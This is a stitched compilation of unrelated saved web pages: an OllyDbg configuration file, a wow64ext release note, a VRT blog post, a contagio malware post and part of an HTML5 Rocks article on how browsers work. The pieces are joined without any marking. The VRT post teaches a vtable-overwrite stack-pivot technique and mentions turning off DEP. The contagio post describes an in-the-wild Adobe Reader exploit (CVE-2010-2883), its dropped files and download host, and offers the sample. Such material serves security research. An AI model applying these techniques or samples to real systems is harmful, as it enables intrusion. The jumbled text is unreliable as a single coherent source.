Accept default prefixes=1

Accept valid LOCK prefixes=1

Accept unaligned stack operations=1

Accept suspicious ESP operations=0

Accept non-standard command forms=1

Accept access to nonexisting memory=0

Accept interrupt commands=0

Index of default UNICODE font=3

Warnmode when unable to close process=0

Show grayed path if jump is not taken=1

Remove code hilite on register hilite=1

Ignore braces in udd path=1

List sorting mode=0

Warnmode when launching loaddll=0

Visible lines when scrolling disasm=1

Pause on Loaddll=1

Stop only on selected modules=0

Enable use of debugging data=1

Use dbghelp to walk stack=0

Use Microsoft Symbol Server=0

Hide missing source files=1

Hide internal compiler names=1

Skip leading spaces from source=1

Hide Call DLL window on call=0

Pause after call to DLL is finished=1

Mark only important operands=0

Block external WM\_CLOSE=1

Activate speech=0

Translate commands and registers=1

Skip leading zeros in hex numbers=1

\[OllyDbg\]

Placement=124,23,1022,736,1

\[History\]

Log file=log.txt

Trace save file=trace.txt

Data directory=.\udd

API help file=

Last viewed file=

Debug data directory\[0\]=

Debug data directory\[1\]=

Debug data directory\[2\]=

Current dir\[0\]=

Current dir\[1\]=

Current dir\[2\]=

Current dir\[3\]=

Current dir\[4\]=

Current dir\[5\]=

\[CPU\]

Placement=176,176,456,411,3

Offset\[0\]=-66

Offset\[1\]=60

Offset\[2\]=22

Offset\[3\]=-93

\[CPU Disasm\]

Appearance=0,6,0,0,6

Columns=88,136,320,2048

\[CPU Info\]

Appearance=7,6,0,0,0

\[CPU registers\]

Appearance=0,6,0,0,0

Local=0,66305

\[CPU Dump\]

Appearance=0,6,0,0,0

Columns=72,384,136

Local=00011001

\[CPU Stack\]

Appearance=0,6,0,0,0

Columns=72,83,42,2048

Local=000A0104

\[Attach\]

Appearance=7,6,1,0,0

Columns=72,96,224,2048

Sort=1

\[Custom colours\]

Custom colour\[0\]=97,178,48

Custom colour\[1\]=175,175,175

Custom colour\[2\]=255,4,4

Custom colour\[3\]=12,16,33

Custom colour\[4\]=12,16,33

Custom colour\[8\]=12,16,33

Custom colour\[3\]=255,57,57

Custom colour\[5\]=63,116,31

Custom colour\[9\]=45,50,67

Custom colour\[12\]=65,121,197

Custom colour\[7\]=63,116,31

Custom colour\[6\]=171,224,139

Custom colour\[10\]=171,224,139

Custom colour\[11\]=65,121,197

Custom colour\[13\]=251,222,45

Custom colour\[14\]=174,156,235

\[Log data\]

Placement=54,54,441,228,1

Appearance=7,6,1,0,0

Columns=63,1792

Sort=0

\[Hardware breakpoints\]

Placement=132,132,632,239,1

Appearance=7,6,1,0,0

Columns=35,63,63,63,84,280,1792

Sort=0

\[Memory breakpoints\]

Placement=110,110,632,239,1

Appearance=7,6,1,0,0

Columns=63,63,63,35,84,1792

Sort=0

\[INT3 breakpoints\]

Placement=88,88,632,239,1

Appearance=7,6,1,0,0

Columns=63,63,84,280,1792

Sort=0

\[Threads\]

Placement=66,66,632,239,1

Appearance=7,6,1,0,0

Columns=35,63,126,126,63,63,63,84,84,84

Sort=0

\[Run trace data\]

Placement=154,154,632,239,1

Appearance=7,6,1,0,0

Columns=63,56,63,63,280,168,1792

Sort=0

\[Modules\]

Placement=22,22,632,239,1

Appearance=7,6,1,0,0

Columns=63,63,63,112,42,112,1792

Sort=0

\[Memory\]

Placement=44,44,632,239,1

Appearance=7,6,1,0,0

Columns=63,63,112,70,168,35,56,56,1792

Sort=0

\[Dump\]

Appearance=7,6,1,0,0

\[Filedump\]

Appearance=7,6,1,0,0

\[Search\]

Placement=267,296,717,223,1

Appearance=7,6,1,0,0

\[Watches\]

Placement=0,0,584,223,1

Appearance=7,6,1,0,0

Columns=280,280

Sort=0

\[Namelist\]

Appearance=7,6,1,0,0

\[Ignored exceptions\]

Range\[0\]=406d1388 406d1388

\[Colour schemes\]

Scheme name\[0\]=Black on white

Foreground\_1\[0\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[0\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[0\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[0\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[0\]=0

Modified commands\[0\]=0

Scheme name\[1\]=Yellow on blue

Foreground\_1\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[1\]=0

Modified commands\[1\]=0

Scheme name\[2\]=Marine

Foreground\_1\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[2\]=0

Modified commands\[2\]=0

Scheme name\[3\]=Mostly black

Foreground\_1\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[3\]=0

Modified commands\[3\]=0

Scheme name\[4\]=Scheme 4

Foreground\_1\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[4\]=0

Modified commands\[4\]=0

Scheme name\[5\]=Scheme 5

Foreground\_1\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[5\]=0

Modified commands\[5\]=0

Scheme name\[6\]=Blackboard

Foreground\_1\[6\]=F0F0F0,F0FBFF,AFAFAF,404FF,F0FBFF,F0FBFF,F0FBFF,F0FBFF,FFFFFF,F0FBFF,\*,\*,\*,\*,\*,\*

Foreground\_2\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[6\]=21100C,21100C,21100C,21100C,3939FF,C57941,EB9CAE,C57941,21100C,43322D,\*,\*,\*,\*,\*,\*

Background\_2\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[6\]=0

Modified commands\[6\]=0

Scheme name\[7\]=Scheme 7

Foreground\_1\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[7\]=0

Modified commands\[7\]=0

\[Highlighting schemes\]

Scheme name\[1\]=Christmas tree

Foreground\_1\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,30B261,\*,\*

Background\_1\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,30B261,\*

Background\_2\[1\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,21100C,\*,\*

Operands\[1\]=1

Modified commands\[1\]=1

Scheme name\[2\]=Jumps and calls

Foreground\_1\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[2\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[2\]=0

Modified commands\[2\]=0

Scheme name\[3\]=Memory access

Foreground\_1\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[3\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[3\]=1

Modified commands\[3\]=1

Scheme name\[4\]=Hilite 4

Foreground\_1\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[4\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[4\]=0

Modified commands\[4\]=0

Scheme name\[5\]=Hilite 5

Foreground\_1\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Foreground\_2\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[5\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[5\]=0

Modified commands\[5\]=0

Scheme name\[6\]=Blackboard

Foreground\_1\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,FFF,3939FF,3939FF,FFFF

Foreground\_2\[6\]=3939FF,3939FF,\*,\*,\*,\*,\*,\*,C57941,C57941,\*,8BE0AB,30B261,8BE0AB,30B261,\*

Background\_1\[6\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_2\[6\]=\*,\*,\*,3939FF,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[6\]=1

Modified commands\[6\]=1

Scheme name\[7\]=Hilite 7

Foreground\_1\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,FF0000,30B261,\*

Foreground\_2\[7\]=404FF,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Background\_1\[7\]=\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,21100C,21100C,\*

Background\_2\[7\]=21100C,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*,\*

Operands\[7\]=1

Modified commands\[7\]=1

\[Fonts\]

Font name\[0\]=OEM fixed font

Font\[0\]=-13,0,400,0,0,0,0,1,49,0,0

Face name\[0\]=Lucida Console

Font name\[1\]=Terminal 6

Font\[1\]=9,6,700,0,0,0,255,0,1,1,0

Face name\[1\]=Terminal

Font name\[2\]=System fixed font

Font\[2\]=0,0,0,0,0,0,0,0,0,0,16

Face name\[2\]=

Font name\[3\]=Courier \(UNICODE\)

Font\[3\]=14,0,400,0,0,0,1,2,5,-2,0

Face name\[3\]=Courier New

Font name\[4\]=Lucida \(UNICODE\)

Font\[4\]=10,6,400,0,0,0,1,2,5,0,0

Face name\[4\]=Lucida Console

Font name\[5\]=Font 5

Font\[5\]=9,6,700,0,0,0,255,0,1,1,0

Face name\[5\]=Terminal

Font name\[6\]=Font 6

Font\[6\]=0,0,0,0,0,0,0,0,0,0,16

Face name\[6\]=

Font name\[7\]=Font 7

Font\[7\]=14,0,400,0,0,0,1,2,5,-2,0

Face name\[7\]=Courier New

# wow64ext v1.0.0.5

**Created:**| _6/26/2014 12:48:25 PM_  
---|---  
**Updated:**| _6/26/2014 12:48:25 PM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

# wow64ext v1.0.0.5

New version of wow64ext library is available for download:  
http://rewolf.pl/stuff/rewolf.wow64ext.v1.0.0.5.zip

**Changelog**

  * Added VirtualProtectEx64
  * Bugfix for **ReadProcessMemory64** / **WriteProcessMemory64** \- _lpNumberOfBytesRead_ / _lpNumberOfBytesWritten_ is declared as SIZE\_T pointer. SIZE\_T on x64 platforms is 64bit value, but wow64ext library is 32bit, so SIZE\_T will be 32bit. Passing this pointer directly to the x64 version of **NtReadVirtualMemory** / **NtWriteVirtualMemory** would lead to a buffer overflow. To keep backward compatibility, I’ve introduced intermediate DWORD64 value that is used internally by ReadProcessMemory64 / WriteProcessMemory64, result is cropped to 32bit value, but it shouldn’t be a problem most cases.   
Link to described fix:  
https://code.google.com/p/rewolf-
wow64ext/source/detail?r=474542f2eb4fc29fd1dde4cd852c419bd6ad1ea0\#

< NO TAGS >

« Solving warsaw’s Java Crackme 3

### Comments \(\)

› No comments yet.

### Leave a Reply Cancel reply

Name \(\*\)

Email \(\*\)

Website

**Allowed Tags** \- You may use these HTML tags and attributes in your
comment.

`<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote
cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike>
<strong> `

### Pingbacks \(0\)

› No pingbacks yet.

# VRT: New Byakugan functionality - \!jutsu searchVtptr

**Created:**| _8/18/2009 8:38:40 AM_  
---|---  
**Updated:**| _8/18/2009 8:38:51 AM_  
**Author:**| __  
**Tags:**| _Debugging windows security Exploit_  
  

### New Byakugan functionality - \!jutsu searchVtptr

With heap metadata exploits going out of favor \(hzon's fine work not
withstanding\), I've recently gone after a number of vtable overwrites. This
can be no fun at all to do by hand, so I've added some helpful code to
byakugan to let you search for the pointers to pointers to pointers to code
that you need. :\)  
  
So if you're in a situation where you get this:  

[code]

      
    mov ecx, [edx] : edx = [something you control]  
    push edx  
    call [ecx + 0x1c]  
    
[/code]

  
You know you've trashed a vtable pointer. If you also say have esi pointing to
a buffer you control, then you need to get esi into esp, then return. To do
this though, you'll need a pointer to a pointer that when 0x1c is added to it
points to a pointer to \(for example\):  

[code]

      
    mov esp, esi  
    ret  
    
    
[/code]

  
This used to mean clever IDA scripts, searching over multiple DLLs, lots of
time, PITA. To do this automagically in byakugan, you can now type:  
  
`!jutsu searchVtptr [offset in vtable] [opcodes]`  
  
So in this case:  
  
`!jutsu searchVtptr 0x1c mov esp, esi | ret`  
  
This works a lot like the searchOpcode jutsu. Instructions are delineated by the | character in your command. Currently, no wildcards are supported, but I plan to add that functionality. The main stopping block to that I think is speed. It's not really a speed demon jutsu now as it is \(with three nested search loops\) but I suppose it beats hunting by hand ;\) So if you're lucky, and your process space contains the code and pointers you need, you'll get something like this back:  

[code]

      
    0x75cb4b36 -> 0x10450107 -> 0x100ffc08 -> sequence  
      
    0x6bb322a6 -> 0x1045891b -> 0x100ffc08 -> sequence  
      
    0x6f862d19 -> 0x1045891b -> 0x100ffc08 -> sequence  
      
    0x6b7e9459 -> 0x10458b3f -> 0x100ffc08 -> sequence  
      
    0x6b82884e -> 0x10458b3f -> 0x100ffc08 -> sequence  
    
    
[/code]

  
Once you have a working chain of pointers, you can put the return address to
turn off dep in your pointer at esi, one of your chain pointers in edx, and
roll on along from there. Happy hunting\!

<img src='img/Temp2_8814.png' alt='Add to Technorati Favorites' /> <img
src='img/Temp2_8816.png' width='16' height='16' alt='Digg! This' />

POSTED BY LURENE GRENIER AT 11:02 AM <img src='img/Temp2_8815.png' width='18'
height='13' />

LABELS: BYAKUGAN

  *[11:02 AM]: 2009-08-17T11:02:00-04:00

# contagio: CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com

**Created:**| _9/10/2010 9:48:22 AM_  
---|---  
**Updated:**| _9/10/2010 9:48:22 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark Malware-analysis_  
  

# contagio

malware dump

Home  
  
Malware list \- still not updated, download from the posts, please  
Malicious documents archive for signature testing and research  
I want it ALL  
  
Most recent posts:  
Sep 07, 2010 CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson
from 193.106.85.61 thomasbennett34@yahoo.com  
Sep 04, 2010 Defcon 18 Audio in MP3 files  
Sep 03, 2010 Aug 25 CVE-2009-4324 PDF
CMSI\_Sixth\_Annual\_Conference\_25\_Aug\_2010 fom kjamesryu754@gmail.com  
Aug 31, 2010 Aug 13 CVE-2009-4324 PDF Letter \(Update. Thanks to Tom\)  
Aug 30, 2010 APT IPs and Domains  

<img src='img/13279_icon18_wrench_allbkg.png' width='18' height='18' />

## Tuesday, September 7, 2010

### CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com

**CVE-2010-2883 Security Advisory for Adobe Reader and Acrobat**  
A critical vulnerability exists in Adobe Reader 9.3.4 and earlier versions for
Windows, Macintosh and UNIX, and Adobe Acrobat 9.3.4 and earlier versions for
Windows and Macintosh. This vulnerability \(CVE-2010-2883\) could cause a
crash and potentially allow an attacker to take control of the affected
system. There are reports that this vulnerability is being actively exploited
in the wild.

Adobe is in the process of evaluating the schedule for an update to resolve
this vulnerability.

  

Update3.

  

http://www.virustotal.com/file-
scan/report.html?id=d55aa45223606db795d29ab9e341c1c703e5a2e26bd98402779f52b6c2e9da2b-1284005926

2010-09-09 04:18:46 \(UTC\)  \--thanks to Antivirus companies for taking
action.

File name:  
Golf Clinic.pdf  
15/ 42 \(35.7%\)  
AhnLab-V3    2010.09.09.00    2010.09.09    PDF/Exploit  
Authentium    5.2.0.5    2010.09.08    PDF/Expl.II  
Emsisoft    5.0.0.37    2010.09.09    Win32.SuspectCrc\!IK  
F-Secure    9.0.15370.0    2010.09.09    Exploit:W32/AdobeReader.WX  
Ikarus    T3.1.1.88.0    2010.09.09    Win32.SuspectCrc  
McAfee    5.400.0.1158    2010.09.09    Exploit-PDF.ps.gen  
McAfee-GW-Edition    2010.1B    2010.09.09    Exploit-PDF.ps.gen  
Microsoft    1.6103    2010.09.09    Exploit:Win32/Pdfjsc.HQ  
NOD32    5435    2010.09.08    JS/Exploit.Pdfka.OFZ  
Norman    6.06.05    2010.09.08    PDF/Exploit.FW  
PCTools    7.0.3.5    2010.09.09    HeurEngine.PDF  
Sophos    4.57.0    2010.09.09    Troj/PDFJs-ME  
Symantec    20101.1.1.7    2010.09.09    Bloodhound.PDF\!gen1  
TrendMicro    9.120.0.1004    2010.09.09    TROJ\_PIDIEF.WM  
TrendMicro-HouseCall    9.120.0.1004    2010.09.09    TROJ\_PIDIEF.WM  
Show all  
MD5   : 9c5cd8f4a5988acae6c2e2dce563446a  

  

Update2

  * Secunia advisory Adobe Reader / Acrobat Font Parsing Buffer Overflow Vulnerability
  * Many thanks to Adobe PSIRT team for a quick response and researchers on twitter vicheck, jduck1337 for their comments and analysis

 Update1

  * Adobe Security people got a copy and will notify us about the results/diagnosis
  * There was a bit of a discussion on twitter regarding this during the day, new comments from researchers are likely to show up in twits before I have time to post any updates here - 

  

<img src='img/bag6.JPG' />

Download  687b8d2112f25e330820143ede7fedce Golf Clinic.pdf as a password
protected archive \(contact me if you need the password\)  
  
  
Download files  
  

  * golf clinic.pdf \- \(\Application Data\) - 6AF93ED231AEA3B00769FC8283943E75
  * iso88591 \- \(same location as the original\) F7A341ACBB05F6A597EC33ACCB7AD04E
  * wincrng.exe + winhelp32.exe \(downloaded from academyhouse.us\)  687B8D2112F25E330820143EDE7FEDCE
  * igfxver.exe \(%tmp%\)   E8CE9CB98C71405F0FB3888235302568 - dropped by the original

Mediafire is not working well today, if you cannot access it and from an
antivirus company or deal with customer protection, please email me for a copy  

# HTML5 Rocks - How Browsers Work: Behind the Scenes of Modern Web Browsers

**Created:**| _9/29/2011 1:27:42 PM_  
---|---  
**Updated:**| _9/29/2011 1:27:42 PM_  
**Author:**| __  
**Tags:**| _browser_  
  

# **How Browsers Work:** Behind the Scenes of Modern Web Browsers

Tali Garsiel \- Developer, Incapsula,  
Paul Irish \- Developer Relations, Google

August 16, 2011

  *   *   * Tweet

Leave a comment

## Preface

This comprehensive primer on the internal operations of WebKit and Gecko is
the result of much research done by Israeli developer Tali Garsiel. Over a few
years, she reviewed all the published data about browser internals \(see
Resources\) and spent a lot of time reading web browser source code. She
wrote:

> In the years of IE 90% dominance there was nothing much to do but regard the
> browser as a "black box", but now, with open source browsers having more
> than half of the usage share, it's a good time to take a peek under the
> engine's hood and see what's inside a web browser. Well, what's inside are
> millions of C++ lines...
Tali published her research on her site, but we knew it deserved a larger
audience, so we've cleaned it up and republished it here.

As a web developer, **learning the internals of browser operations helps you
make better decisions and know the justifications behind development best
practices**. While this is a rather lengthy document, we recommend you spend
some time digging in; we guarantee you'll be glad you did. Paul Irish, Chrome
Developer Relations

* * *
## Introduction

Web browsers are probably the most widely used software. In this primer, I
will explain how they work behind the scenes. We will see what happens when
you type `google.com` in the address bar until you see the Google page on the
browser screen.

### Table of Contents

  1. Introduction
    1. The browsers we will talk about
    2. The browser's main functionality
    3. The browser's high level structure
  2. The rendering engine
    1. Rendering engines
    2. The main flow
    3. Main flow examples
  3. Parsing and DOM tree construction
    1. Parsing - general
      1. Grammars
      2. Parser - Lexer combination
      3. Translation
      4. Parsing example
      5. Formal definitions for vocabulary and syntax
      6. Types of parsers
      7. Generating parsers automatically
    2. HTML Parser
      1. The HTML grammar definition
      2. Not a context free grammar
      3. HTML DTD
      4. DOM
      5. The parsing algorithm
      6. The tokenization algorithm
      7. Tree construction algorithm
      8. Actions when the parsing is finished
      9. Browsers error tolerance
    3. CSS parsing
      1. Webkit CSS parser
    4. The order of processing scripts and style sheets
      1. Scripts
      2. Speculative parsing
      3. Style sheets
  4. Render tree construction
    1. The render tree relation to the DOM tree
    2. The flow of constructing the tree
    3. Style Computation
      1. Sharing style data
      2. Firefox rule tree
        1. Division into structs
        2. Computing the style contexts using the rule tree
      3. Manipulating the rules for an easy match
      4. Applying the rules in the correct cascade order
        1. Style sheet cascade order
        2. Specificity
        3. Sorting the rules
    4. Gradual process
  5. Layout
    1. Dirty bit system
    2. Global and incremental layout
    3. Asynchronous and Synchronous layout
    4. Optimizations
    5. The layout process
    6. Width calculation
    7. Line Breaking
  6. Painting
    1. Global and Incremental
    2. The painting order
    3. Firefox display list
    4. Webkit rectangle storage
  7. Dynamic changes
  8. The rendering engine's threads
    1. Event loop
  9. CSS2 visual model
    1. The canvas
    2. CSS Box model
    3. Positioning scheme
    4. Box types
    5. Positioning
      1. Relative
      2. Floats
      3. Absolute and fixed
    6. Layered representation
  10. Resources

### The browsers we will talk about

There are five major browsers used today - Internet Explorer, Firefox, Safari,
Chrome and Opera. I will give examples from the open source browsers -
Firefox, Chrome and Safari \(which is partly open source\). According to the
StatCounter browser statistics, currently \(August 2011\), the usage share of
Firefox, Safari and Chrome together is nearly 60%. So nowadays open source
browsers are a substantial part of the browser business.

### The browser's main functionality

The browser main functionality is to present the web resource you choose, by
requesting it from the server and displaying it on the browser window. The
resource is usually an HTML document, but may also be a PDF, image, or other
type. The location of the resource is specified by the user using a URI
\(Uniform resource Identifier\).

The way the browser interprets and displays HTML files is specified in the
HTML and CSS specifications. These specifications are maintained by the W3C
\(World Wide Web Consortium\) organization, which is the standards
organization for the web.  
For years browsers conformed to only a part of the specifications and
developed their own extensions. That caused serious compatibility issues for
web authors. Today most of the browsers more or less conform to the
specifications.

Browsers' user interface have a lot in common with each other. Among the
common user interface elements are:

  * Address bar for inserting the URI
  * Back and forward buttons
  * Bookmarking options
  * A refresh and stop buttons for refreshing and stopping the loading of current documents
  * Home button that gets you to your home page

Strangely enough, the browser's user interface is not specified in any formal
specification, it just comes from good practices shaped over years of
experience and by browsers imitating each other. The HTML5 specification
doesn't define UI elements a browser must have, but lists some common
elements. Among those are the address bar, status bar and tool bar. There are,
of course, features unique to a specific browser like Firefox's downloads
manager.

### The browser's high level structure

The browser's main components are \(1.1\):

  1. **The user interface** \- this includes the address bar, back/forward button, bookmarking menu etc. Every part of the browser display except the main window where you see the requested page.
  2. **The browser engine** \- marshalls the actions between the UI and the rendering engine.
  3. **The rendering engine** \- responsible for displaying the requested content. For example if the requested content is HTML, it is responsible for parsing the HTML and CSS and displaying the parsed content on the screen.
  4. **Networking** \- used for network calls, like HTTP requests. It has platform independent interface and underneath implementations for each platform.
  5. **UI backend** \- used for drawing basic widgets like combo boxes and windows. It exposes a generic interface that is not platform specific. Underneath it uses the operating system user interface methods.
  6. **JavaScript interpreter**. Used to parse and execute the JavaScript code.
  7. **Data storage**. This is a persistence layer. The browser needs to save all sorts of data on the hard disk, for examples, cookies. The new HTML specification \(HTML5\) defines 'web database' which is a complete \(although light\) database in the browser.

<img src='img/Temp2_3570.png' width='500' height='339' alt='alt' />

Figure : Browser main components.

It is important to note that Chrome, unlike most browsers, holds multiple
instances of the rendering engine - one for each tab. Each tab is a separate
process.

## The rendering engine

The responsibility of the rendering engine is well... Rendering, that is
display of the requested contents on the browser screen.

By default the rendering engine can display HTML and XML documents and images.
It can display other types through a plug-in \(or browser extension\); for
example, displaying PDF using a PDF viewer plug-in. However, in this chapter
we will focus on the main use case: displaying HTML and images that are
formatted using CSS.

### Rendering engines

Our reference browsers - Firefox, Chrome and Safari are built upon two
rendering engines. Firefox uses Gecko - a "home made" Mozilla rendering
engine. Both Safari and Chrome use Webkit.

Webkit is an open source rendering engine which started as an engine for the
Linux platform and was modified by Apple to support Mac and Windows. See
webkit.org for more details.

### The main flow

The rendering engine will start getting the contents of the requested document
from the networking layer. This will usually be done in 8K chunks.

After that this is the basic flow of the rendering engine:

<img src='img/Temp2_3566.png' width='600' height='66' alt='alt' />

Figure : Rendering engine basic flow.

The rendering engine will start parsing the HTML document and turn the tags to
DOM nodes in a tree called the "content tree". It will parse the style data,
both in external CSS files and in style elements. The styling information
together with visual instructions in the HTML will be used to create another
tree - the render tree.

The render tree contains rectangles with visual attributes like color and
dimensions. The rectangles are in the right order to be displayed on the
screen.

After the construction of the render tree it goes through a "layout" process.
This means giving each node the exact coordinates where it should appear on
the screen. The next stage is painting \- the render tree will be traversed
and each node will be painted using the UI backend layer.

It's important to understand that this is a gradual process. For better user
experience, the rendering engine will try to display contents on the screen as
soon as possible. It will not wait until all HTML is parsed before starting to
build and layout the render tree. Parts of the content will be parsed and
displayed, while the process continues with the rest of the contents that
keeps coming from the network.

#### Main flow examples

<img src='img/Temp2_3574.png' width='624' height='289' alt='alt' />

Figure : Webkit main flow

<img src='img/Temp2_3555.png' width='624' height='290' alt='alt' />

Figure : Mozilla's Gecko rendering engine main flow\(3.6\)

From figures 3 and 4 you can see that although Webkit and Gecko use slightly
different terminology, the flow is basically the same.

Gecko calls the tree of visually formatted elements a "Frame tree". Each
element is a frame. Webkit uses the term "Render Tree" and it consists of
"Render Objects". Webkit uses the term "layout" for the placing of elements,
while Gecko calls it "Reflow". "Attachment" is Webkit's term for connecting
DOM nodes and visual information to create the render tree. A minor non-
semantic difference is that Gecko has an extra layer between the HTML and the
DOM tree. It is called the "content sink" and is a factory for making DOM
elements. We will talk about each part of the flow:

### Parsing - general

Since parsing is a very significant process within the rendering engine, we
will go into it a little more deeply. Let's begin with a little introduction
about parsing.

Parsing a document means translating it to some structure that makes sense -
something the code can understand and use. The result of parsing is usually a
tree of nodes that represent the structure of the document. It is called a
parse tree or a syntax tree.

Example - parsing the expression 2 + 3 - 1 could return this tree:

<img src='img/Temp2_3579.png' width='400' height='155' />

Figure : mathematical expression tree node

#### Grammars

Parsing is based on the syntax rules the document obeys - the language or
format it was written in. Every format you can parse must have deterministic
grammar consisting of vocabulary and syntax rules. It is called a context free
grammar. Human languages are not such languages and therefore cannot be parsed
with conventional parsing techniques.

#### Parser - Lexer combination

Parsing can be separated into two sub processes - lexical analysis and syntax
analysis.

Lexical analysis is the process of breaking the input into tokens. Tokens are
the language vocabulary - the collection of valid building blocks. In human
language it will consist of all the words that appear in the dictionary for
that language.

Syntax analysis is the applying of the language syntax rules.

Parsers usually divide the work between two components - the **lexer**
\(sometimes called tokenizer\) that is responsible for breaking the input into
valid tokens, and the **parser** that is responsible for constructing the
parse tree by analyzing the document structure according to the language
syntax rules. The lexer knows how to strip irrelevant characters like white
spaces and line breaks.

